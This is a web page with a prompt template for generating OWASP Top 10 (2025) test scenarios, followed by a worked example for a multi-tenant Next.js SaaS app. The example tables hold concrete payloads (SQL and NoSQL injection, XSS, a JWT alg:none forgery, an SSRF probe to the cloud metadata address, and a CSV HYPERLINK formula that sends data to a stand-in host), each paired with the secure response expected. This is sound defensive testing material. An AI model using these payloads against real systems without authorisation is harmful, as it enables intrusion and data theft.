Generate OWASP Top 10 Test Scenarios with AI
For each OWASP Top 10 (2025) category (A01-A10), returns 3-5 concrete test cases with payloads, recommended tools, expected secure behavior, and remediation guidance tailored to the target application.
When to use it
- You're running a manual security review and need the canonical test set.
- You're scoping a pen test and want to align with OWASP framing.
- You're training junior engineers in security testing fundamentals.
- You're documenting vulnerability coverage for compliance review.
The prompt
<role>You are a penetration tester who has worked across web, API, and mobile targets. You cite the OWASP Top 10 (2025) framework and produce CONCRETE payloads, not generic descriptions like "try SQL injection".</role> <context>OWASP Top 10:2025 categories (the 2025 edition, published by OWASP, NOT the 2021 list):- A01: Broken Access Control (SSRF was folded into this category in 2025)- A02: Security Misconfiguration- A03: Software Supply Chain Failures (expands 2021's "Vulnerable and Outdated Components")- A04: Cryptographic Failures- A05: Injection- A06: Insecure Design- A07: Authentication Failures- A08: Software or Data Integrity Failures- A09: Security Logging and Alerting Failures- A10: Mishandling of Exceptional Conditions (new in 2025, improper error handling, logic errors, failing open)</context> <task>For each OWASP Top 10 category, produce:1. A 1-sentence description of the category in YOUR APP'S context2. 3-5 test scenarios with: title, concrete payloads or steps, expected SECURE behavior3. Recommended tools (ZAP, Burp, semgrep, custom scripts) per scenario4. Remediation guidance (1-2 bullets specific to the category, not generic)</task> <input>Application type: {app_type}Tech stack: {stack}Authentication scheme: {auth}</input> <constraints>- Cite OWASP 2025 framework.- Payloads must be CONCRETE strings, not "try SQL injection".- Each category gets a tailored description for the input app, not generic boilerplate.- Recommended tools are actionable (named tool + flag/feature if relevant).- Remediation maps to the category's nature, not "fix the code".</constraints> <output_format>Markdown document with H2 per category (A01-A10), each containing: 1-line description, table (Scenario | Payload / Steps | Expected secure behavior | Tool), then 1-2 remediation bullets.</output_format> <approach>Before writing, identify which 2-3 categories are most acute for THIS app and frontload them in the document.</approach>## RolePen tester. CONCRETE payloads, not generic descriptions. ## ContextOWASP Top 10:2025 (2025 edition, NOT the 2021 list):- A01 Broken Access Control (SSRF folded in here in 2025)- A02 Security Misconfiguration- A03 Software Supply Chain Failures- A04 Cryptographic Failures- A05 Injection- A06 Insecure Design- A07 Authentication Failures- A08 Software or Data Integrity Failures- A09 Security Logging and Alerting Failures- A10 Mishandling of Exceptional Conditions (new in 2025) ## TaskFor each category:1. 1-sentence description tailored to YOUR app2. 3-5 test scenarios with concrete payloads and expected secure behavior3. Recommended tools4. Remediation guidance (specific to category, 1-2 bullets) ## Input- App type: {app_type}- Stack: {stack}- Auth: {auth} ## Constraints- OWASP 2025 citation.- CONCRETE payloads.- Each category tailored to input app.- Tools named + flag/feature.- Remediation specific, not "fix the code". ## Output formatH2 per category, table (Scenario | Payload/Steps | Expected secure behavior | Tool), 1-2 remediation bullets each. ## ApproachIdentify 2-3 most acute categories for THIS app and frontload them.Example
Input
Application type: SaaS web app + REST API. Multi-tenant. Tech stack: Next.js + Node.js API + PostgreSQL. Stripe for payments. S3 for file storage. Authentication scheme: JWT bearer tokens, OAuth for SSO.
Output
# OWASP Top 10:2025 Test Scenarios, Multi-Tenant SaaS
Ordered by how acute each category is for THIS app, not by OWASP rank.
## A01: Broken Access Control (most acute for multi-tenancy)
Multi-tenant data isolation is the #1 risk: user A in tenant X must not access tenant Y's data even via direct ID manipulation. In the 2025 edition SSRF lives here too, so server-side fetches are tested in this section.
| Scenario | Payload / Steps | Expected secure behavior | Tool |
|----------|----------------|--------------------------|------|
| IDOR on user resource | As user A, request `GET /api/users/<userB_id>` where userB is in a different tenant | 404 Not Found, identical to the response for a non-existent ID (a 403 confirms the record exists and lets IDs be enumerated) | Burp / curl |
| Tenant header manipulation | As user A, request `GET /api/expenses` with `X-Tenant-Id: <tenantB_id>` | Server rejects or ignores client-supplied tenant; uses JWT claim | Burp |
| Role escalation via URL | As member, request `POST /api/admin/users` | 403 Forbidden, audit logged | Manual + Burp |
| Privilege escalation via JSON injection | As member, send `PATCH /api/users/self` with `{ "role": "admin" }` | Server rejects role change from non-admin; returns 400 or strips field | Burp |
| SSRF via user-supplied URL | Submit avatar image URL `http://169.254.169.254/latest/meta-data/` | Request rejected (allow-list excludes link-local and internal hosts; only http(s) schemes) | Manual + Burp |
Remediation:
- Centralize authorization in middleware; never rely on per-controller checks alone.
- Add automated multi-tenant tests verifying cross-tenant access returns 403: run in CI.
- URL allow-list plus an egress firewall for every user-controlled outbound URL (avatar fetch, webhook test).
## A07: Authentication Failures (high, JWT + OAuth surface)
JWT misimplementation is common; OAuth misconfiguration enables account takeover.
| Scenario | Payload / Steps | Expected secure behavior | Tool |
|----------|----------------|--------------------------|------|
| JWT algorithm confusion | Forge JWT with `alg: none`: server should reject | 401 Unauthorized (NOT accept the token) | jwt.io + Burp |
| JWT token without signature | Send `<header>.<payload>.` (missing signature) | 401 Unauthorized | curl |
| JWT expiration bypass | Send expired JWT (`exp` < now) | 401 Unauthorized; refresh required | curl |
| OAuth state parameter missing | Initiate OAuth flow, intercept and remove `state` parameter | Server rejects callback without `state` | Burp |
| Brute force on /login | 100 wrong password attempts in 60 seconds | 429 Too Many Requests after 5-10 attempts; account locked or CAPTCHA after threshold | curl + script |
Remediation:
- Use a vetted JWT library with strict algorithm whitelist (NEVER allow `alg: none`).
- Implement OAuth state validation and PKCE (RFC 7636) for every client, as OAuth 2.1 requires.
## A05: Injection (medium, input handling surface)
Postgres via an ORM covers most SQL exposure, so the live risk is the untyped edges: search filters, rendered user text, and CSV export.
| Scenario | Payload / Steps | Expected secure behavior | Tool |
|----------|----------------|--------------------------|------|
| SQL injection in search | `GET /api/expenses?q='+OR+'1'='1` | 200 with empty / scoped results (NOT all rows); use parameterized queries | sqlmap |
| NoSQL injection on filter | `POST /api/search` with `{"email": {"$ne": null}}` | 400 Bad Request OR query treated as literal string | Burp |
| Stored XSS in expense description | `<img src=x onerror=alert(1)>` | Output encoded; alert does NOT fire | Manual + DAST |
| Reflected XSS in error message | `/api/items?id=<script>alert(1)</script>` | Output encoded; alert does NOT fire | OWASP ZAP |
| CSV formula injection | Upload CSV with cell value `=HYPERLINK("https://evil.example/?x="&A2,"Open")`, then export it | Cell escaped (prefixed with `'`) on export, so the spreadsheet shows text, not a live formula | Manual + custom script |
Remediation:
- Parameterized queries for all DB access. Linting rule: no string concatenation in SQL.
- Output encoding by context (HTML, attribute, JS, URL) via templating engine defaults.
## A02: Security Misconfiguration
A Next.js + Node API on managed infrastructure has three config surfaces that drift independently: framework defaults, headers at the edge, and admin routes.
| Scenario | Payload / Steps | Expected secure behavior | Tool |
|----------|----------------|--------------------------|------|
| Default error page leaks stack trace | Trigger 500 error (malformed body) | Generic error message; stack trace in logs only | curl |
| Security headers missing | `curl -I https://app.example.com` | CSP, HSTS, X-Frame-Options, X-Content-Type-Options present | curl + securityheaders.com |
| Admin panel exposed | Visit `/admin`, `/wp-admin`, `/phpmyadmin` | 404 or 403 (admin not at predictable URL) | Burp |
| Default credentials | Try `admin/admin`, `root/root` on any admin surface | Login fails | Manual |
Remediation:
- Disable verbose errors in production; use centralized logging instead.
- Add security headers via middleware; test their presence in CI.
## A03: Software Supply Chain Failures
New in 2025: the scope is the whole dependency and build ecosystem, not just outdated libraries.
| Scenario | Payload / Steps | Expected secure behavior | Tool |
|----------|----------------|--------------------------|------|
| Known CVE in dependency | Run dependabot or `npm audit` | No HIGH or CRITICAL CVEs in production deps | dependabot, npm audit, Snyk |
| Old library version | Check `package.json` for libs > 12 months out of date | Libraries are < 12 months out of date | Manual + audit |
| Vulnerable Docker base image | `docker scout cves <image>` | Base image scanned and < 30 days old | docker scout |
| Unpinned CI action | Grep workflows for `uses: org/action@main` | Actions pinned to a commit SHA, not a moving tag | Manual + grep |
| Missing build provenance | Verify the release artifact has a signed attestation | Provenance attestation present and verifiable | cosign / SLSA verifier |
Remediation:
- Enable Dependabot weekly; require security PRs to merge within 14 days.
- Pin CI actions by SHA and generate SBOM + provenance on every release (see `sbom-dependency-tests`).
## A04: Cryptographic Failures
JWT signing keys, Stripe secrets, and S3 credentials all live in this app; the risk is secrets leaking through URLs, logs, or shared environments rather than broken algorithms.
| Scenario | Payload / Steps | Expected secure behavior | Tool |
|----------|----------------|--------------------------|------|
| Sensitive data in URL | Inspect URLs containing tokens, passwords, IDs | None: tokens/secrets in body or headers only | Burp logging |
| Weak TLS | `testssl.sh https://app.example.com` | TLS 1.2+ only; cipher suites > 128-bit | testssl.sh |
| Plaintext password in logs | Submit form, grep logs for `password=` | None (passwords redacted in logs) | Manual + log search |
| Reused crypto secrets across environments | Compare JWT signing key staging vs prod | Different keys (different secrets per env) | Manual + audit |
Remediation:
- Centralize secret management (Vault, AWS Secrets Manager); never commit secrets.
- Use library defaults for crypto (argon2id for passwords, libsodium for ad-hoc crypto needs).
## A06: Insecure Design
Billing and password reset are the two flows where a correct implementation of a wrong design still loses money or accounts.
| Scenario | Payload / Steps | Expected secure behavior | Tool |
|----------|----------------|--------------------------|------|
| Password reset token reuse | Use the same reset link twice | First use succeeds; second returns "already used" | Manual |
| Concurrent operations race | Submit `POST /api/refund` twice in parallel for the same order | One succeeds, one returns 409 (no double refund) | Custom script |
| Promo code stacking | Apply 2 promo codes to the same cart | Server rejects second OR uses business-rule logic | Manual |
| Account enumeration via signup | `POST /signup` with existing email | Generic "check your email" response (NOT "email already taken") | Burp |
Remediation:
- Threat-model the feature BEFORE implementation, not after.
- Add abuse cases to the test suite alongside happy paths.
## A08: Software or Data Integrity Failures
The app deserialises JSON from clients and ships through CI to production: both are integrity boundaries.
| Scenario | Payload / Steps | Expected secure behavior | Tool |
|----------|----------------|--------------------------|------|
| Unsigned auto-update | Verify update artifacts are signed | Server-side signature check before applying updates | Manual |
| Insecure deserialization | `__proto__` pollution payload in JSON | Server rejects or sanitizes prototype-chain mutation | Burp |
| CI/CD pipeline tampering | Verify CI logs are immutable and audited | Cannot rewrite history of merged commits or CI runs | Manual audit |
Remediation:
- Sign artifacts; verify on consumption.
- Lock CI to specific runners; require branch protection.
## A09: Security Logging and Alerting Failures
2025 renamed this from "Logging and Monitoring": an event that is logged but never alerts on still counts as a failure.
| Scenario | Payload / Steps | Expected secure behavior | Tool |
|----------|----------------|--------------------------|------|
| Login failures not logged | 5 failed logins as user X; check logs | Each attempt logged with user ID, IP, timestamp | Manual + log search |
| Admin actions not audited | Change a user's role; check audit log | Audit row exists with actor, action, target, before/after | Manual |
| Logs missing PII redaction | Submit form with PII; grep logs | PII fields redacted (or excluded entirely) | Manual + grep |
| No alert on cross-tenant 403 spike | Generate 50 cross-tenant 403s in 5 minutes | Alert fires to the on-call channel within the SLO | Manual + alerting config |
Remediation:
- Standardize on a logging framework with redaction built in.
- Ship audit logs to immutable storage, and pair every security-relevant log with an alert rule.
## A10: Mishandling of Exceptional Conditions
New in 2025: improper error handling, logic errors, and controls that fail open instead of closed.
| Scenario | Payload / Steps | Expected secure behavior | Tool |
|----------|----------------|--------------------------|------|
| Auth service unreachable | Block network to the SSO provider, then request `GET /api/expenses` | Request denied (fail closed), NOT served from a stale or default identity | Manual + toxiproxy |
| Payment webhook returns 500 | Force Stripe webhook handler to throw mid-transaction | Transaction rolled back; no partially-applied subscription upgrade | Custom script |
| Rate limiter backend down | Stop Redis, then send 200 requests to `/login` | Limiter fails closed (429 or 503), NOT unlimited login attempts | Manual + curl |
| Unhandled exception leaks context | Send malformed multipart upload to `/api/files` | Generic 400; no file paths, S3 keys, or SQL text in the response body | curl + Burp |
Remediation:
- Default every security control to fail closed; write an explicit test per control for its backend-down path.
- Wrap multi-step operations in a transaction so a mid-flow exception cannot leave a half-applied state.Common pitfalls
- Model defaults to the 2021 Top 10 (A05 Security Misconfiguration, A06 Vulnerable Components, A10 SSRF): check the category names it returns against the 2025 list above before accepting the output.
- Generic remediation ('use parameterized queries' for every category): force category-specific guidance.
- Concrete payloads degrade into 'try SQL injection' descriptions: re-prompt with explicit string examples.
- Multi-tenant SaaS specifics get glossed; A01 scenarios always relate to single-user IDOR.
Tips
- Re-run when OWASP publishes a new Top 10. In 2025 the biggest shifts were: SSRF (A10 in 2021) merged into A01 Broken Access Control, Vulnerable and Outdated Components became A03 Software Supply Chain Failures, and A10 Mishandling of Exceptional Conditions is entirely new.
- Pair with `security-test-checklist`: Top 10 covers attack patterns; ASVS covers control coverage.
- Run the concrete payloads in your staging env in a recorded session (Burp project): replayable evidence.
- Mark scenarios that need a real pen tester (e.g., chained exploits) vs ones that can be automated in DAST.
FAQ
How often does OWASP Top 10 update?
Every 3-4 years: 2013, 2017, 2021, 2025. The 2025 edition reordered the list (Security Misconfiguration moved from #5 to #2), replaced Vulnerable and Outdated Components with the broader A03 Software Supply Chain Failures, added A10 Mishandling of Exceptional Conditions, and folded SSRF into A01. Re-baseline annually even when the framework doesn't change: your app's threat landscape evolves.
How does Top 10 map to CWE?
Each Top 10 category corresponds to a cluster of CWEs (Common Weakness Enumeration). A01 includes CWE-22 (path traversal), CWE-284 (improper authorization), CWE-639 (IDOR). CWEs are finer-grained; map between them when filing CVEs.
Can I automate these scenarios?
Many yes: DAST tools (Burp Suite Pro, OWASP ZAP, StackHawk) automate ~40% of the basic patterns. The advanced scenarios (business logic flaws, chained vulnerabilities) require a human pen tester.
Should I share the payload list publicly?
These payloads are public; payloads ARE attacks but they're already documented. What matters is the SECURE behavior column: that's the team's specification of how the app should respond. Keep secure behavior internal as the source of truth.